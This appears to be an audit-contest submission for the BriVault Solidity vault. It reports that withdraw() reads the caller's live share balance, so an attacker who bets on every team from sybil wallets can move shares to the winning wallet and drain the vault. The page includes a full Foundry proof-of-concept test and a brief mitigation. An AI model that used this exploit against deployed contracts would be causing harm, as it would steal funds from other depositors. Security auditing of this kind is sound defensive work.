BriVault

First Flight #52

Beginner FriendlySolidity

100 EXP

View results

Previous Next

Submission Details

Severity: high

Valid

The `withdraw()` function checks balance of msg.sender at the time of withdrawing which allows a user to transfer shares and drain the vault of all the assets.

0xarinaitwe

The `withdraw()` function checks balance of msg.sender at the time of withdrawing which allows a user to transfer shares and drain the vault of all the assets.

Description

The withdraw() function in the BriVault contract has a critical vulnerability where it checks the shares balance of msg.sender when withdrawing assets after winning. An attacker can exploit this vulnerability by betting on the first team using a large deposit to receive large shares, then bets on the rest of the 47 teams using a minimum amount for each team using a different wallet. This guarantees the attacker a winner since he bet on all the teams.

When other users deposit and join the event, the finalized vault balance increases. A winner is set by the admin.
The attacker is the first to withdraw, calls withdraw() function, since the function checks balance of shares of msg.sender with this line uint256 shares = balanceOf(msg.sender); at the time of withdrawing, the attacker transfers the large shares to the wallet that bet on the winner, this will drain all the assets in the vault leaving it empty despite other users having also won.

function withdraw() external winnerSet {

if (block.timestamp < eventEndDate) {

revert eventNotEnded();

}

if (keccak256(abi.encodePacked(userToCountry[msg.sender])) != keccak256(abi.encodePacked(winner))) {

revert didNotWin();

}

@> uint256 shares = balanceOf(msg.sender); // checks balance of shares

uint256 vaultAsset = finalizedVaultAsset; // snapshot of asset balance of the contract

uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);

_burn(msg.sender, shares);

IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);

emit Withdraw(msg.sender, assetToWithdraw);

}

Risk

Likelihood:

High: This happens when a user bets on all teams possible and transfers shares to the winning wallet on withdrawing.

Impact:

High

Attacker drains the vault of all the assets.
Other users who won are left with nothing to withdraw, their transactions revert with Insuficient balance since the attacker drained the vault.

Proof of Concept

Add this test to briVault.t.sol and run forge test --mt testTransferSharesToWinningWallet -vvvv

function setUp() public {

participationFeeBsp = 150; // 1.5%

eventStartDate = block.timestamp + 2 days;

eventEndDate = eventStartDate + 31 days;

participationFeeAddress = makeAddr("participationFeeAddress");

minimumAmount = 0.0002 ether;

mockToken = new MockERC20("Mock Token", "MTK");

mockToken.mint(owner, 20 ether);

mockToken.mint(user1, 20 ether);

mockToken.mint(user2, 20 ether);

mockToken.mint(user3, 20 ether);

mockToken.mint(user4, 20 ether);

mockToken.mint(user5, 20 ether);

vm.startPrank(owner);

briVault = new BriVault(

IERC20(address(mockToken)), // replace `address(0)` with actual _asset address

participationFeeBsp,

eventStartDate,

participationFeeAddress,

minimumAmount,

eventEndDate

);

briVault.approve(address(mockToken), type(uint256).max);

// Admin sets countries

briVault.setCountry(countries);

vm.stopPrank();

}

function testTransferSharesToWinningWallet() public {

address user = makeAddr("user");

uint256 amount = 1_000_000 ether;

mockToken.mint(user, amount);

// User deposits and joins event with the first wallet

vm.startPrank(user);

mockToken.approve(address(briVault), type(uint256).max);

uint256 sharesReceived = briVault.deposit(amount, user);

briVault.joinEvent(47);

vm.stopPrank();

// User joins with other 47 wallets with minimum amounts to bet on every team possibles

uint256 assets = 0.00021 ether;

// Attacker 47 wallets

address[] memory attackerWallets = new address[](47);

attackerWallets[0] = makeAddr("1");

attackerWallets[1] = makeAddr("2");

attackerWallets[2] = makeAddr("3");

attackerWallets[3] = makeAddr("4");

attackerWallets[4] = makeAddr("5");

attackerWallets[5] = makeAddr("6"); // winner

attackerWallets[6] = makeAddr("7");

attackerWallets[7] = makeAddr("8");

attackerWallets[8] = makeAddr("9");

attackerWallets[9] = makeAddr("10");

attackerWallets[10] = makeAddr("11");

attackerWallets[11] = makeAddr("12");

attackerWallets[12] = makeAddr("13");

attackerWallets[13] = makeAddr("14");

attackerWallets[14] = makeAddr("15");

attackerWallets[15] = makeAddr("16");

attackerWallets[16] = makeAddr("17");

attackerWallets[17] = makeAddr("18");

attackerWallets[18] = makeAddr("19");

attackerWallets[19] = makeAddr("20");

attackerWallets[20] = makeAddr("21");

attackerWallets[21] = makeAddr("22");

attackerWallets[22] = makeAddr("23");

attackerWallets[23] = makeAddr("24");

attackerWallets[24] = makeAddr("25");

attackerWallets[25] = makeAddr("26");

attackerWallets[26] = makeAddr("27");

attackerWallets[27] = makeAddr("28");

attackerWallets[28] = makeAddr("29");

attackerWallets[29] = makeAddr("30");

attackerWallets[30] = makeAddr("31");

attackerWallets[31] = makeAddr("32");

attackerWallets[32] = makeAddr("33");

attackerWallets[33] = makeAddr("34");

attackerWallets[34] = makeAddr("35");

attackerWallets[35] = makeAddr("36");

attackerWallets[36] = makeAddr("37");

attackerWallets[37] = makeAddr("38");

attackerWallets[38] = makeAddr("39");

attackerWallets[39] = makeAddr("40");

attackerWallets[40] = makeAddr("41");

attackerWallets[41] = makeAddr("42");

attackerWallets[42] = makeAddr("43");

attackerWallets[43] = makeAddr("44");

attackerWallets[44] = makeAddr("45");

attackerWallets[45] = makeAddr("46");

attackerWallets[46] = makeAddr("47");

// Fund the wallets, deposit and join event for the rest of the wallets

for (uint8 i; i < attackerWallets.length; ++i) {

mockToken.mint(attackerWallets[i], assets);

vm.startPrank(attackerWallets[i]);

mockToken.approve(address(briVault), type(uint256).max);

briVault.deposit(assets, attackerWallets[i]);

briVault.joinEvent(i); // when is `i` = 5

vm.stopPrank();

}

// Other users join the tournament

address[] memory otherUsers = new address[](10);

otherUsers[0] = makeAddr("111");

otherUsers[1] = makeAddr("222");

otherUsers[2] = makeAddr("322");

otherUsers[3] = makeAddr("444");

otherUsers[4] = makeAddr("55");

otherUsers[5] = makeAddr("66");

otherUsers[6] = makeAddr("77");

otherUsers[7] = makeAddr("88");

otherUsers[8] = makeAddr("99");

otherUsers[9] = makeAddr("100");

uint256 len2 = otherUsers.length;

// Other users deposit into the tournament

for (uint8 x; x < len2; ++x) {

if (x < 3) {

vm.startPrank(otherUsers[x]);

mockToken.mint(otherUsers[x], 20_000 ether);

uint256 amount = 20_000 ether;

mockToken.approve(address(briVault), type(uint256).max);

briVault.deposit(amount, otherUsers[x]);

briVault.joinEvent(5);

vm.stopPrank();

} else {

vm.startPrank(otherUsers[x]);

mockToken.mint(otherUsers[x], 100_000 ether);

uint256 amount2 = 100_000 ether;

mockToken.approve(address(briVault), type(uint256).max);

briVault.deposit(amount2, otherUsers[x]);

briVault.joinEvent(10);

vm.stopPrank();

}

// Warp the time for the event to start

vm.warp(block.timestamp + 2 days + 1 seconds);

// Warp the time for the event to end

vm.warp(block.timestamp + 31 days);

// Admin sets the winner

vm.startPrank(owner);

briVault.setWinner(5);

vm.stopPrank();

// Before withdrawing, attacker transfers the large shares to the winning account

vm.startPrank(user);

briVault.transfer(attackerWallets[5], 5.91e22); // (sharesReceived + 1.97e22) / 17)

// Attacker transfers shares that drain the whole wallet balance

// `(sharesReceived + 1.97e22) / 17` is to get a number that drains the whole wallet balance

vm.stopPrank();

// Attacker now withdraws from the winning wallets with large shares

// And drains the wallets of all the assets

// 1733600009721950000000000 - 1733600009721950000000000

// 1_733_600.009 ether

vm.startPrank(attackerWallets[5]);

briVault.withdraw();

vm.stopPrank();

// Other wins try to withdraw, transaction reverts, but there is no assets backing their shares

vm.startPrank(otherUsers[0]);

vm.expectRevert();

briVault.withdraw();

vm.stopPrank();

}

Recommended Mitigation

Keep a record of the users' shares balance instead of calling balanceOf(msg.sender) to get their shares.

Updates

Appeal created

bube Lead Judge 19 days ago

Submission Judgement Published

Validated

Assigned finding tags:

Inflation attack

Rewards breakdown

nSLOC

193

This contest has a flat reward structure with the following payouts:

High

100 EXP

Medium

20 EXP

Low

2 EXP

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!

BriVault

The `withdraw()` function checks balance of msg.sender at the time of withdrawing which allows a user to transfer shares and drain the vault of all the assets.

The withdraw() function checks balance of msg.sender at the time of withdrawing which allows a user to transfer shares and drain the vault of all the assets.

Description

Risk

Proof of Concept

Recommended Mitigation

Appeal created

Inflation attack

Rewards breakdown

Live

Judging

Appeals

Appeals Review

Rewards Distribution

FAQs

The `withdraw()` function checks balance of msg.sender at the time of withdrawing which allows a user to transfer shares and drain the vault of all the assets.